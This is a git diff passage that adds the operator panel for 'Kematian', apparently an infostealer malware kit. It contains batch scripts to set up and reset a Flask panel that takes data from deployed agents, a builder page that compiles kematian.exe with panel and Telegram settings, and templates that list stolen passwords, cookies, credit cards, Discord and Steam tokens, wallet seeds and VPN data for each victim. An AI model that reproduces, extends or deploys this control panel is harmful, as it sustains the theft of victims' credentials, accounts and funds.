regenerates on start) +rem - .setup_done (re-enables /setup) +rem - builds\*.exe (previously built agents) +rem - loot\* (hosted files) +rem - __pycache__ (stale bytecode) +rem - final\kematian.exe (built agent) +rem - final\kematian.log (agent run log) +rem +rem Keeps panel.env (ingest key / secret). Delete panel.env too if +rem you want setup.bat to prompt for fresh credentials again. +rem ============================================================ +cd /d "%~dp0" + +echo. +echo This will WIPE all collected data and the admin account. +echo Built agents under builds\ and final\ are deleted too. +echo (panel.env with your ingest key is KEPT.) +echo. +set /p confirm="Type RESET to continue, anything else to cancel: " +if /i not "%confirm%"=="RESET" ( + echo Cancelled. + pause + exit /b 0 +) + +echo. +echo [1/2] Stopping any running panel (port 5000)... +for /f "tokens=5" %%p in ('netstat -ano ^| findstr ":5000" ^| findstr "LISTENING"') do ( + echo killing PID %%p + taskkill /f /pid %%p >nul 2>&1 +) + +echo [2/2] Deleting state... +if exist kematian.db del /f kematian.db +if exist kematian_e2ee.key del /f kematian_e2ee.key +if exist .setup_done del /f .setup_done +if exist builds del /f /q builds\*.exe 2>nul +if exist loot rmdir /s /q loot +if exist __pycache__ rmdir /s /q __pycache__ +if exist "..\Kematian-Standalone\final\kematian.exe" del /f "..\Kematian-Standalone\final\kematian.exe" +if exist "..\Kematian-Standalone\final\kematian.log" del /f "..\Kematian-Standalone\final\kematian.log" + +echo. +echo Done. Start the panel with setup.bat (or python app.py) and +echo visit http://localhost:5000/setup to create a fresh admin account. +echo. +pause diff --git a/panel/reset_password.bat b/panel/reset_password.bat new file mode 100644 index 0000000..ba33ebf --- /dev/null +++ b/panel/reset_password.bat @@ -0,0 +1,35 @@ +@echo off +rem ============================================================ +rem Kematian panel - reset admin password (keeps all data) +rem Project: https://t.me/electronic_sex +rem ============================================================ +cd /d "%~dp0" + +if not exist kematian.db ( + echo No database found. Start the panel once (setup.bat) first. + pause + exit /b 1 +) + +echo. +set /p user="Admin username [leave empty for first admin]: " +set /p pass="New password (min 6 chars): " + +if "%pass%"=="" ( + echo Password cannot be empty. + pause + exit /b 1 +) + +python -c "import sqlite3,sys; from werkzeug.security import generate_password_hash; c=sqlite3.connect('kematian.db'); where=('id=(SELECT id FROM admin ORDER BY id LIMIT 1)' if sys.argv[1]=='' else 'username=?'); q='UPDATE admin SET password_hash=? WHERE '+where; args=[generate_password_hash(sys.argv[2])]+([sys.argv[1]] if sys.argv[1] else []); n=c.execute(q,args).rowcount; c.commit(); c.close(); sys.exit(0 if n else 1)" "%user%" "%pass%" +if errorlevel 1 ( + echo. + echo [!] No matching admin account found. User not updated. + pause + exit /b 1 +) + +echo. +echo Password updated. Log in with the new credentials. +echo (Data, clients and loot are untouched.) +pause diff --git a/panel/setup.bat b/panel/setup.bat new file mode 100644 index 0000000..58471cb --- /dev/null +++ b/panel/setup.bat @@ -0,0 +1,78 @@ +@echo off +rem ============================================================ +rem Kematian panel setup + start +rem Project: https://t.me/electronic_sex +rem +rem Prompts for the ingest key (and session secret) on first run, +rem saves them to panel.env, reuses them on later runs, then +rem installs deps and starts the panel with those env vars. +rem ============================================================ +setlocal enabledelayedexpansion +cd /d "%~dp0" + +set "CFG=panel.env" + +echo. +echo ============================================================ +echo Kematian panel setup +echo Project: https://t.me/electronic_sex +echo ============================================================ +echo. + +rem ---- load existing config or prompt for fresh values ---- +if exist "%CFG%" ( + call :loadcfg + echo Found existing config: ingest key = !PANEL_INGEST_KEY! + set /p redo="Re-enter ingest key and secret? [y/N]: " + if /i "!redo!"=="y" set "FRESH=1" +) else ( + set "FRESH=1" +) + +if defined FRESH ( + set /p PANEL_INGEST_KEY="Ingest key (agent PanelAuth must match this) [CHANGE-ME]: " + if "!PANEL_INGEST_KEY!"=="" set "PANEL_INGEST_KEY=CHANGE-ME" + set /p PANEL_SECRET="Panel session secret (press Enter for random): " + if "!PANEL_SECRET!"=="" set "PANEL_SECRET=%RANDOM%%RANDOM%%RANDOM%" + >"%CFG%" ( + echo PANEL_INGEST_KEY=!PANEL_INGEST_KEY! + echo PANEL_SECRET=!PANEL_SECRET! + ) + echo Saved to %CFG% +) + +call :loadcfg + +echo. +echo Using ingest key : %PANEL_INGEST_KEY% +echo Using secret : %PANEL_SECRET% +echo. + +echo [1/2] Installing Python dependencies... +python -m pip install -r requirements.txt +if errorlevel 1 ( + echo. + echo [!] pip install failed. Make sure Python is on PATH. + pause + exit /b 1 +) + +echo [2/2] Starting panel... +echo. +echo First run? Open http://localhost:5000/setup to create the admin +echo account, then http://localhost:5000/ to log in. +echo. +echo When building an agent, set PanelAuth / ingest key to: +echo %PANEL_INGEST_KEY% +echo. +echo Press Ctrl+C to stop the panel. +echo. +python app.py +pause +exit /b 0 + +rem ---- read KEY=VALUE lines from the config file ---- +:loadcfg +if not exist "%CFG%" exit /b 0 +for /f "usebackq tokens=1,* delims==" %%a in ("%CFG%") do set "%%a=%%b" +exit /b 0 diff --git a/panel/static/css/style.css b/panel/static/css/style.css new file mode 100644 index 0000000..96cf629 --- /dev/null +++ b/panel/static/css/style.css @@ -0,0 +1,307 @@ +:root { + --bg: #0a0a0f; + --bg-2: #131318; + --bg-3: #1b1b22; + --bg-4: #232330; + --border: #26262f; + --border-2: #33333d; + --text: #ececf1; + --muted: #8b8b98; + --dim: #5b5b66; + --accent: #a855f7; + --accent-2: #7c3aed; + --accent-soft: rgba(168, 85, 247, 0.12); + --accent-dim: rgba(168, 85, 247, 0.18); + --green: #34d399; + --green-dim: rgba(52, 211, 153, 0.12); + --red: #f87171; + --red-dim: rgba(248, 113, 113, 0.12); + --purple-1: #c084fc; + --mono: "JetBrains Mono", "Cascadia Code", Consolas, monospace; +} + +* { box-sizing: border-box; } + +html, body { + margin: 0; + padding: 0; + background: var(--bg); + color: var(--text); + font-family: "Inter", system-ui, -apple-system, sans-serif; + font-size: 14px; + line-height: 1.5; + -webkit-font-smoothing: antialiased; +} + +a { color: inherit; text-decoration: none; } + +.mono { font-family: var(--mono); font-size: 12px; } +.accent { color: var(--accent); } +.muted { color: var(--muted); } + +::-webkit-scrollbar { width: 9px; height: 9px; } +::-webkit-scrollbar-thumb { background: var(--border-2); border-radius: 6px; } +::-webkit-scrollbar-thumb:hover { background: var(--accent-2); } +::-webkit-scrollbar-track { background: transparent; } + +/* ---------- sidebar ---------- */ +.sidebar { + position: fixed; + left: 0; top: 0; bottom: 0; + width: 248px; + background: var(--bg-2); + border-right: 1px solid var(--border); + display: flex; + flex-direction: column; + overflow-y: auto; + z-index: 20; + padding: 20px 14px; +} + +.brand { + display: flex; + align-items: center; + gap: 11px; + padding: 2px 6px 18px; +} +.brand-logo { + width: 38px; height: 38px; + border-radius: 11px; + background: linear-gradient(135deg, var(--accent-2), var(--accent)); + display: flex; align-items: center; justify-content: center; + font-size: 19px; + color: #fff; + box-shadow: 0 4px 16px rgba(124, 58, 237, 0.4); +} +.brand-name { font-size: 19px; font-weight: 800; letter-spacing: -0.4px; color: #fff; } +.brand-dot { color: var(--accent); } + +.profile { + background: var(--bg-3); + border: 1px solid var(--border); + border-radius: 14px; + padding: 14px; + display: flex; + align-items: center; + gap: 12px; + margin-bottom: 20px; +} +.profile-avatar { + width: 42px; height: 42px; + border-radius: 12px; + background: linear-gradient(135deg, #2a2a35, #1e1e27); + border: 1px solid var(--border-2); + display: flex; align-items: center; justify-content: center; + font-weight: 700; font-size: 18px; color: var(--accent); +} +.profile-name { font-weight: 600; font-size: 14px; } +.profile-role { font-size: 11px; color: var(--muted); margin-top: 1px; } + +.nav-group-label { + font-size: 10px; + text-transform: uppercase; + letter-spacing: 1.2px; + color: var(--dim); + font-weight: 700; + padding: 14px 8px 6px; +} + +.nav { display: flex; flex-direction: column; gap: 3px; } +.nav-item { + display: flex; + align-items: center; + gap: 11px; + padding: 9px 12px; + border-radius: 10px; + color: var(--muted); + font-weight: 500; + font-size: 13px; + transition: background 0.15s, color 0.15s; +} +.nav-item:hover { background: var(--bg-3); color: var(--text); } +.nav-item .nav-ico { width: 17px; height: 17px; flex: 0 0 17px; opacity: 0.85; } + +.sidebar-foot { + margin-top: auto; + padding: 14px 6px 4px; + border-top: 1px solid var(--border); + display: flex; + flex-direction: column; + gap: 8px; +} +.online { display: flex; align-items: center; gap: 7px; font-size: 12px; color: var(--text); font-weight: 600; } +.online-dot { width: 8px; height: 8px; border-radius: 50%; background: var(--green); box-shadow: 0 0 8px var(--green); } +.foot-user { font-size: 12px; color: var(--muted); } +.logout-btn { margin-top: 4px; padding: 9px 12px; border-radius: 10px; background: var(--red-dim); color: var(--red); font-weight: 600; font-size: 13px; text-align: center; transition: background 0.15s; } +.logout-btn:hover { background: rgba(248, 113, 113, 0.2); } + +/* ---------- main ---------- */ +.main.with-sidebar { margin-left: 248px; } +.main { padding: 26px 30px 60px; } + +.flash { padding: 12px 16px; margin-bottom: 18px; border-radius: 12px; border: 1px solid var(--border); font-size: 13px; } +.flash-success { background: var(--green-dim); border-color: rgba(52, 211, 153, 0.3); color: var(--green); } +.flash-error { background: var(--red-dim); border-color: var(--red); color: var(--red); } +.flash-info { background: var(--bg-3); } + +/* ---------- page head ---------- */ +.page-head { + display: flex; + align-items: flex-start; + justify-content: space-between; + gap: 16px; + margin-bottom: 24px; + flex-wrap: wrap; +} +.page-head h1 { margin: 0; font-size: 24px; font-weight: 800; letter-spacing: -0.4px; } +.page-head .muted { margin: 4px 0 0; } +.with-ico { display: flex; align-items: center; gap: 10px; } +.head-ico { width: 26px; height: 26px; } +.head-actions { display: flex; gap: 10px; } +.section-title { margin: 34px 0 14px; font-size: 17px; font-weight: 700; } + +/* ---------- buttons ---------- */ +.btn { + display: inline-flex; align-items: center; gap: 6px; + padding: 9px 15px; border-radius: 10px; + font-size: 13px; font-weight: 600; + border: 1px solid var(--border-2); cursor: pointer; + background: var(--bg-3); color: var(--text); + transition: background 0.15s, border 0.15s, transform 0.1s; +} +.btn:hover { background: var(--bg-4); } +.btn:active { transform: translateY(1px); } +.btn-primary { background: linear-gradient(135deg, var(--accent-2), var(--accent)); border-color: transparent; color: #fff; } +.btn-primary:hover { background: linear-gradient(135deg, #6d28d9, #9333ea); } +.btn-ghost { background: transparent; } +.btn-sm { padding: 5px 10px; font-size: 12px; } + +/* ---------- stat cards ---------- */ +.stat-row { display: grid; grid-template-columns: repeat(auto-fit, minmax(220px, 1fr)); gap: 16px; margin-bottom: 20px; } +.stat-card { + background: var(--bg-2); + border: 1px solid var(--border); + border-radius: 16px; + padding: 20px 22px; + display: flex; flex-direction: column; gap: 12px; + position: relative; + overflow: hidden; +} +.stat-card::after { + content: ""; position: absolute; top: 0; right: 0; width: 120px; height: 120px; + background: radial-gradient(circle at top right, var(--accent-dim), transparent 70%); + pointer-events: none; +} +.stat-ico { + width: 46px; height: 46px; border-radius: 13px; + background: linear-gradient(135deg, var(--accent-2), var(--accent)); + display: flex; align-items: center; justify-content: center; +} +.stat-ico img { width: 24px; height: 24px; filter: brightness(0) invert(1); } +.stat-num { font-size: 28px; font-weight: 800; letter-spacing: -0.5px; line-height: 1; } +.stat-label { color: var(--muted); font-size: 12.5px; font-weight: 500; } +.stat-trend { align-self: flex-start; font-size: 11px; color: var(--green); font-weight: 600; background: var(--green-dim); padding: 2px 9px; border-radius: 20px; } +.stat-trend.up::before { content: "↑ "; } + +/* ---------- type cards grid ---------- */ +.grid { + display: grid; + grid-template-columns: repeat(auto-fill, minmax(150px, 1fr)); + gap: 12px; +} +.type-card { + display: flex; align-items: center; gap: 12px; + background: var(--bg-2); border: 1px solid var(--border); + border-radius: 12px; padding: 14px; + transition: border 0.15s, transform 0.15s, background 0.15s; +} +.type-card:hover { border-color: var(--accent); transform: translateY(-2px); background: var(--bg-3); } +.type-ico { width: 30px; height: 30px; flex: 0 0 30px; } +.type-label { font-size: 12px; color: var(--muted); font-weight: 500; } +.type-count { font-size: 19px; font-weight: 700; margin-top: 2px; } + +/* ---------- charts ---------- */ +.charts-row { display: grid; grid-template-columns: 3fr 2fr; gap: 16px; margin-bottom: 20px; } +.charts-row.single { grid-template-columns: 1fr; } +.chart-card { background: var(--bg-2); border: 1px solid var(--border); border-radius: 16px; padding: 20px; } +.chart-card h2 { margin: 0 0 16px; font-size: 15px; font-weight: 700; } +.chart-body { position: relative; min-height: 240px; } + +/* ---------- tables ---------- */ +.table-card { background: var(--bg-2); border: 1px solid var(--border); border-radius: 16px; overflow: hidden; } +.table-scroll { overflow-x: auto; } +table { width: 100%; border-collapse: collapse; } +th, td { text-align: left; padding: 12px 16px; border-bottom: 1px solid var(--border); font-size: 13px; } +th { font-size: 11px; text-transform: uppercase; letter-spacing: 0.7px; color: var(--muted); background: var(--bg-3); font-weight: 700; } +tbody tr:last-child td { border-bottom: none; } +tbody tr:hover { background: rgba(255, 255, 255, 0.02); } +.empty { text-align: center; color: var(--muted); padding: 30px; font-style: italic; } +.client-link { color: var(--accent); font-weight: 500; } + +/* ---------- status chip ---------- */ +.chip { display: inline-flex; align-items: center; gap: 5px; padding: 3px 10px; border-radius: 20px; font-size: 11px; font-weight: 600; } +.chip-green { background: var(--green-dim); color: var(--green); } +.chip-red { background: var(--red-dim); color: var(--red); } +.chip-gray { background: var(--bg-4); color: var(--muted); } + +/* ---------- secrets ---------- */ +.pw { color: var(--accent); cursor: pointer; font-family: var(--mono); font-size: 12px; } +.pw:hover { background: var(--accent-dim); border-radius: 4px; } +.tag { display: inline-block; padding: 2px 9px; border-radius: 20px; background: var(--bg-3); border: 1px solid var(--border-2); font-size: 11px; color: var(--muted); font-weight: 600; } + +/* ---------- auth ---------- */ +.auth-wrap { display: flex; align-items: center; justify-content: center; min-height: 88vh; } +.auth-card { + width: 380px; background: var(--bg-2); border: 1px solid var(--border); + border-radius: 20px; padding: 38px 36px; display: flex; flex-direction: column; + box-shadow: 0 20px 60px rgba(0, 0, 0, 0.4); +} +.auth-logo { + width: 54px; height: 54px; border-radius: 15px; align-self: center; + background: linear-gradient(135deg, var(--accent-2), var(--accent)); + display: flex; align-items: center; justify-content: center; + font-size: 26px; color: #fff; box-shadow: 0 6px 24px rgba(124, 58, 237, 0.5); +} +.auth-card h1 { margin: 16px 0 2px; font-size: 22px; text-align: center; font-weight: 800; } +.auth-sub { text-align: center; color: var(--muted); margin: 0 0 24px; font-size: 13px; } +.auth-card label { font-size: 12px; color: var(--muted); margin: 12px 0 5px; } +.auth-card input { + background: var(--bg-3); border: 1px solid var(--border-2); color: var(--text); + padding: 12px 14px; border-radius: 11px; font-size: 14px; transition: border 0.15s; +} +.auth-card input:focus { outline: none; border-color: var(--accent); } +.auth-card .btn { margin-top: 22px; justify-content: center; } +.auth-link { text-align: center; margin-top: 16px; color: var(--muted); font-size: 12px; } +.auth-link:hover { color: var(--accent); } + +/* ---------- search ---------- */ +.search-bar { display: flex; gap: 10px; margin-bottom: 20px; } +.search-bar input { flex: 1; background: var(--bg-2); border: 1px solid var(--border-2); color: var(--text); padding: 12px 14px; border-radius: 11px; font-size: 14px; } +.search-bar input:focus { outline: none; border-color: var(--accent); } + +/* ---------- builder / fileshare ---------- */ +.form-card, .upload-card, .build-progress { + background: var(--bg-2); border: 1px solid var(--border); border-radius: 16px; padding: 22px 24px; margin-bottom: 22px; max-width: 640px; +} +.form-card h2, .upload-card h2, .build-progress h2 { margin: 0 0 16px; font-size: 15px; font-weight: 700; } +.form-card label, .upload-card label { font-size: 12px; color: var(--muted); margin: 12px 0 4px; display: block; } +.form-card input, .upload-card input { width: 100%; background: var(--bg-3); border: 1px solid var(--border-2); color: var(--text); padding: 10px 12px; border-radius: 9px; font-size: 13px; font-family: var(--mono); } +.form-card input:focus, .upload-card input:focus { outline: none; border-color: var(--accent); } +.form-card .hint, .upload-card .hint { font-size: 11px; color: var(--muted); margin: 4px 0 0; } +.form-card .hint code, .upload-card .hint code { color: var(--accent); } +.form-row { display: flex; gap: 12px; } +.form-row > div { flex: 1; } +.form-card .btn, .upload-card .btn { margin-top: 20px; } +.upload-form { display: flex; flex-direction: column; gap: 10px; } +.upload-form input[type="file"] { color: var(--text); background: var(--bg-3); border: 1px solid var(--border-2); border-radius: 9px; padding: 9px 12px; font-size: 13px; } +.upload-form input[type="text"] { max-width: 200px; } +.build-log { font-family: var(--mono); font-size: 12px; background: #05060a; border: 1px solid var(--border); border-radius: 10px; padding: 14px; max-height: 300px; overflow: auto; white-space: pre-wrap; word-break: break-word; color: #c9d1da; } +.build-actions { margin-top: 14px; } + +.tag-done { color: var(--green); border-color: rgba(52,211,153,0.3); background: var(--green-dim); } +.tag-running { color: var(--accent); border-color: var(--accent); background: var(--accent-soft); } +.tag-error { color: var(--red); border-color: var(--red); background: var(--red-dim); } + +.panel-foot { text-align: center; padding: 16px 12px 20px; } +.panel-foot a { color: var(--muted); font-size: 12px; text-decoration: none; opacity: .75; transition: opacity .15s ease; } +.panel-foot a:hover { opacity: 1; color: var(--accent); } diff --git a/panel/static/icons/app.svg b/panel/static/icons/app.svg new file mode 100644 index 0000000..3947ecc --- /dev/null +++ b/panel/static/icons/app.svg @@ -0,0 +1 @@ + diff --git a/panel/static/icons/autofill.svg b/panel/static/icons/autofill.svg new file mode 100644 index 0000000..a1a3251 --- /dev/null +++ b/panel/static/icons/autofill.svg @@ -0,0 +1 @@ + diff --git a/panel/static/icons/bookmark.svg b/panel/static/icons/bookmark.svg new file mode 100644 index 0000000..6f57b9a --- /dev/null +++ b/panel/static/icons/bookmark.svg @@ -0,0 +1 @@ + diff --git a/panel/static/icons/card.svg b/panel/static/icons/card.svg new file mode 100644 index 0000000..7712791 --- /dev/null +++ b/panel/static/icons/card.svg @@ -0,0 +1 @@ + diff --git a/panel/static/icons/cookie.svg b/panel/static/icons/cookie.svg new file mode 100644 index 0000000..3919c2a --- /dev/null +++ b/panel/static/icons/cookie.svg @@ -0,0 +1 @@ + diff --git a/panel/static/icons/dash.svg b/panel/static/icons/dash.svg new file mode 100644 index 0000000..78cf4a8 --- /dev/null +++ b/panel/static/icons/dash.svg @@ -0,0 +1 @@ + diff --git a/panel/static/icons/discord.svg b/panel/static/icons/discord.svg new file mode 100644 index 0000000..afa412b --- /dev/null +++ b/panel/static/icons/discord.svg @@ -0,0 +1 @@ + diff --git a/panel/static/icons/extension.svg b/panel/static/icons/extension.svg new file mode 100644 index 0000000..f1110c2 --- /dev/null +++ b/panel/static/icons/extension.svg @@ -0,0 +1 @@ + diff --git a/panel/static/icons/files.svg b/panel/static/icons/files.svg new file mode 100644 index 0000000..c32dc97 --- /dev/null +++ b/panel/static/icons/files.svg @@ -0,0 +1 @@ + diff --git a/panel/static/icons/game.svg b/panel/static/icons/game.svg new file mode 100644 index 0000000..4df7955 --- /dev/null +++ b/panel/static/icons/game.svg @@ -0,0 +1 @@ + diff --git a/panel/static/icons/history.svg b/panel/static/icons/history.svg new file mode 100644 index 0000000..71e222c --- /dev/null +++ b/panel/static/icons/history.svg @@ -0,0 +1 @@ + diff --git a/panel/static/icons/key.svg b/panel/static/icons/key.svg new file mode 100644 index 0000000..a89fed2 --- /dev/null +++ b/panel/static/icons/key.svg @@ -0,0 +1 @@ + diff --git a/panel/static/icons/pass.svg b/panel/static/icons/pass.svg new file mode 100644 index 0000000..6a4e7fc --- /dev/null +++ b/panel/static/icons/pass.svg @@ -0,0 +1 @@ + diff --git a/panel/static/icons/seed.svg b/panel/static/icons/seed.svg new file mode 100644 index 0000000..d3784a8 --- /dev/null +++ b/panel/static/icons/seed.svg @@ -0,0 +1 @@ + diff --git a/panel/static/icons/steam.svg b/panel/static/icons/steam.svg new file mode 100644 index 0000000..8b92f83 --- /dev/null +++ b/panel/static/icons/steam.svg @@ -0,0 +1 @@ + diff --git a/panel/static/icons/telegram.svg b/panel/static/icons/telegram.svg new file mode 100644 index 0000000..f7f3f48 --- /dev/null +++ b/panel/static/icons/telegram.svg @@ -0,0 +1 @@ + diff --git a/panel/static/icons/vpn.svg b/panel/static/icons/vpn.svg new file mode 100644 index 0000000..3549921 --- /dev/null +++ b/panel/static/icons/vpn.svg @@ -0,0 +1 @@ + diff --git a/panel/static/icons/wallet.svg b/panel/static/icons/wallet.svg new file mode 100644 index 0000000..10bc608 --- /dev/null +++ b/panel/static/icons/wallet.svg @@ -0,0 +1 @@ + diff --git a/panel/static/js/app.js b/panel/static/js/app.js new file mode 100644 index 0000000..02ac3ff --- /dev/null +++ b/panel/static/js/app.js @@ -0,0 +1,35 @@ +// Secret toggle: `.pw` cells are masked by default. A global "Reveal" button +// (`.reveal-all`) toggles visibility. Clicking a `.pw` cell copies its value. +document.addEventListener("DOMContentLoaded", () => { + const mask = (el) => { + if (!el.dataset.real) el.dataset.real = el.textContent; + el.dataset.masked = ""; + el.textContent = el.dataset.real.replace(/./g, "•"); + }; + + document.querySelectorAll(".pw").forEach((el) => mask(el)); + + const revealAll = document.querySelector(".reveal-all"); + if (revealAll) { + revealAll.addEventListener("click", () => { + const on = revealAll.dataset.on === "1"; + document.querySelectorAll(".pw").forEach((el) => { + if (on) mask(el); + else el.textContent = el.dataset.real || el.textContent; + }); + revealAll.dataset.on = on ? "" : "1"; + revealAll.textContent = on ? "Reveal secrets" : "Hide secrets"; + }); + } + + document.querySelectorAll(".pw").forEach((el) => { + el.addEventListener("click", () => { + const real = el.dataset.real || el.textContent; + navigator.clipboard?.writeText(real).then(() => { + const prev = el.textContent; + el.textContent = "copied ✓"; + setTimeout(() => { el.textContent = prev; }, 700); + }).catch(() => {}); + }); + }); +}); diff --git a/panel/templates/base.html b/panel/templates/base.html new file mode 100644 index 0000000..5b15002 --- /dev/null +++ b/panel/templates/base.html @@ -0,0 +1,83 @@ + + + + + +{% block title %}Kematian Panel{% endblock %} + + + + +{% block head %}{% endblock %} + + +{% if session.get('admin') %} + +{% endif %} +
+ {% with messages = get_flashed_messages(with_categories=true) %} + {% for cat, msg in messages %} +
{{ msg }}
+ {% endfor %} + {% endwith %} + {% block content %}{% endblock %} +
+ + + diff --git a/panel/templates/builder.html b/panel/templates/builder.html new file mode 100644 index 0000000..bc10222 --- /dev/null +++ b/panel/templates/builder.html @@ -0,0 +1,95 @@ +{% extends "base.html" %} +{% block title %}Builder · Kematian{% endblock %} +{% block content %} +
+
+

Agent Builder

+

Build a fresh kematian.exe on the server with your panel + Telegram config baked in.

+
+
+ +{% if error %} +
{{ error }}
+{% endif %} + +
+
+

Target configuration

+ + + +

Panelinizin adresi. `/api/ingest` otomatik eklenir.

+ + + +

Paneldeki PANEL_INGEST_KEY ile aynı olmalı.

+ +
+
+ + +
+
+ + +
+
+ + + + + +
+
+ +{% if started %} +
+

Build #{{ started }}

+
+
+{% endif %} + +{% if builds %} +

Recent builds

+
+ + + + {% for id, j in builds.items() %} + + + + + + + {% endfor %} + +
#StatusFile
#{{ id }}{{ j['status'] }}{{ j['exe'] and os.path.basename(j['exe']) or '—' }}{% if j['exe'] %}Download{% elif j['status'] == 'running' %}{% endif %}
+
+{% endif %} + + +{% endblock %} diff --git a/panel/templates/categories/view.html b/panel/templates/categories/view.html new file mode 100644 index 0000000..2297c09 --- /dev/null +++ b/panel/templates/categories/view.html @@ -0,0 +1,151 @@ +{% extends "base.html" %} +{% block title %}{{ title }} · Kematian{% endblock %} +{% block content %} +
+
+

{{ label }}

+

{{ title }} · {{ rows|length }} total{% if client_filter %} · clear filter{% endif %}

+ {% if client_filter and key in ['wallets','telegram','gaming','files','keys'] %} +

→ download hosted files for this client

+ {% endif %} +
+
+ {% if key in ['passwords','cookies','autofill','credit_cards','discord_tokens','app_credentials','seeds','steam_tokens'] %} + + {% endif %} + Raw JSON +
+
+ +
+
+ + + + {% if key == 'passwords' %}{% endif %} + {% if key == 'cookies' %}{% endif %} + {% if key == 'autofill' %}{% endif %} + {% if key == 'history' %}{% endif %} + {% if key == 'bookmarks' %}{% endif %} + {% if key == 'credit_cards' %}{% endif %} + {% if key == 'discord_tokens' %}{% endif %} + {% if key == 'files' %}{% endif %} + {% if key == 'extensions' %}{% endif %} + {% if key == 'wallets' %}{% endif %} + {% if key == 'telegram' %}{% endif %} + {% if key == 'keys' %}{% endif %} + {% if key in ['wallets','telegram','gaming'] %}{% endif %} + {% if key == 'app_credentials' %}{% endif %} + {% if key == 'seeds' %}{% endif %} + {% if key == 'gaming' %}{% endif %} + {% if key == 'steam_tokens' %}{% endif %} + {% if key == 'vpns' %}{% endif %} + + + + + {% for r in rows %} + + {% if key == 'passwords' %} + + + + + {% endif %} + {% if key == 'cookies' %} + + + + + {% endif %} + {% if key == 'autofill' %} + + + + {% endif %} + {% if key == 'history' %} + + + + + {% endif %} + {% if key == 'bookmarks' %} + + + + {% endif %} + {% if key == 'credit_cards' %} + + + + + {% endif %} + {% if key == 'discord_tokens' %} + + + {% endif %} + {% if key == 'files' %} + + + + {% endif %} + {% if key == 'extensions' %} + + + + + {% endif %} + {% if key == 'wallets' %} + + + + + {% endif %} + {% if key == 'telegram' %} + + + + + {% endif %} + {% if key == 'keys' %} + + + + + {% endif %} + {% if key in ['wallets','telegram','gaming'] %} + + {% endif %} + {% if key == 'app_credentials' %} + + + + + {% endif %} + {% if key == 'seeds' %} + + + + {% endif %} + {% if key == 'gaming' %} + + + {% endif %} + {% if key == 'steam_tokens' %} + + + {% endif %} + {% if key == 'vpns' %} + + + {% endif %} + + + {% else %} + + {% endfor %} + +
URLUsernamePasswordBrowserHostNameValueBrowserFieldValueBrowserURLTitleVisitsLast visitNameURLTypeCardHolderExpBrowserTokenSourceNameSizePathNameVersionBrowserIDNameTypeSizeAddressesAccountFilesSizePathTypeNameSizePathFilesAppHostUsernamePasswordPhraseSourceWordsPlatformDataSteam IDTokenVPNDataClient
{{ r['url'] or '' }}{{ r['username'] or '' }}{{ r['password'] or '' }}{{ r['browser'] or '' }}{{ r['host'] or '' }}{{ r['name'] or '' }}{{ r['value'] or '' }}{{ r['browser'] or '' }}{{ r['name'] or '' }}{{ r['value'] or '' }}{{ r['browser'] or '' }}{{ r['url'] or '' }}{{ r['title'] or '' }}{{ r['visit_count'] or 0 }}{{ (r['last_visit_time'] | datetime) if r['last_visit_time'] else '—' }}{{ r['name'] or '' }}{{ r['url'] or '' }}{{ r['type'] or '' }}{{ r['card_number'] or '' }}{{ r['name_on_card'] or '' }}{{ r['expiration_month'] or '?' }}/{{ r['expiration_year'] or '?' }}{{ r['browser'] or '' }}{{ r['token'] or '' }}{{ r['source'] or '' }}{{ r['name'] or '' }}{{ (r['size'] | filesize) }}{{ r['path'] or '' }}{{ r['name'] or '' }}{{ r['version'] or '' }}{{ r['browser'] or '' }}{{ r['ext_id'] or '' }}{{ r['name'] or '' }}{{ r['type'] or '' }}{{ (r['size'] | filesize) }}{{ r['addresses'] or '' }}{{ r['account'] or '' }}{{ r['files'] or 0 }}{{ (r['size'] | filesize) }}{{ r['path'] or '' }}{{ r['type'] or '' }}{{ r['name'] or '' }}{{ (r['size'] | filesize) }}{{ r['path'] or '' }}Download{{ r['application'] or '' }}{{ r['host'] or '' }}{{ r['username'] or '' }}{{ r['password'] or '' }}{{ r['phrase'] or '' }}{{ r['source'] or '' }}{{ r['words'] or 0 }}{{ r['platform'] or '' }}{{ (r['payload'] or '')[:60] }}{% if r['payload'] and r['payload']|length > 60 %}…{% endif %}{{ r['steam_id'] or '' }}{{ r['token'] or '' }}{{ r['vpn'] or '' }}{{ (r['payload'] or '')[:60] }}{% if r['payload'] and r['payload']|length > 60 %}…{% endif %}{{ r.client_id }}
No {{ label|lower }} yet.
+
+
+{% endblock %} diff --git a/panel/templates/client_detail.html b/panel/templates/client_detail.html new file mode 100644 index 0000000..7b0a41b --- /dev/null +++ b/panel/templates/client_detail.html @@ -0,0 +1,34 @@ +{% extends "base.html" %} +{% block title %}{{ cli.client_id }} · Kematian{% endblock %} +{% block content %} +
+
+

{{ cli.client_id }}

+

{{ cli.os or 'Unknown' }} {{ cli.arch or '' }} · v{{ cli.version or '?' }}

+
+ +
+ +
+
{{ cli.ip or '—' }}
IP
+
{{ cli.total_entries }}
Entries
+
{{ (cli.first_seen | datetime) if cli.first_seen else '—' }}
First seen
+
{{ (cli.last_seen | datetime) if cli.last_seen else '—' }}
Last seen
+
+ +

Data breakdown

+
+ {% for key, s in per_cat.items() %} + + +
+
{{ s.label }}
+
{{ s.count }}
+
+
+ {% endfor %} +
+{% endblock %} diff --git a/panel/templates/clients.html b/panel/templates/clients.html new file mode 100644 index 0000000..07ad5b5 --- /dev/null +++ b/panel/templates/clients.html @@ -0,0 +1,34 @@ +{% extends "base.html" %} +{% block title %}Clients · Kematian{% endblock %} +{% block content %} +
+
+

Clients

+

Every agent that has reported in.

+
+
+ +
+ + + + + + {% for c in clients %} + + + + + + + + + + + {% else %} + + {% endfor %} + +
ClientOSArchVersionIPFirst seenLast seenEntries
{{ c.client_id }}{{ c.os or '—' }}{{ c.arch or '—' }}{{ c.version or '—' }}{{ c.ip or '—' }}{{ (c.first_seen | datetime) if c.first_seen else '—' }}{{ (c.last_seen | datetime) if c.last_seen else '—' }}{{ c.total_entries }}
No clients yet.
+
+{% endblock %} diff --git a/panel/templates/dashboard.html b/panel/templates/dashboard.html new file mode 100644 index 0000000..7cd649c --- /dev/null +++ b/panel/templates/dashboard.html @@ -0,0 +1,154 @@ +{% extends "base.html" %} +{% block title %}Dashboard · Kematian {% endblock %} +{% block head %} + +{% endblock %} +{% block content %} +
+
+

Dashboard

+

Overview of everything Kematian has collected. t.me/electronic_sex

+
+ +
+ +
+
+
+
{{ client_count }}
+
Total Clients
+ live +
+
+
+
{{ stats['passwords'].count }}
+
Passwords Captured
+ collected +
+
+
+
{{ stats['cookies'].count }}
+
Cookies Stolen
+ collected +
+
+
+
{{ stats['discord_tokens'].count }}
+
Discord Tokens
+ collectible +
+
+ +
+
+

Activity Overview

+
+
+
+

Data Distribution

+
+
+
+ +
+

Recent Activity

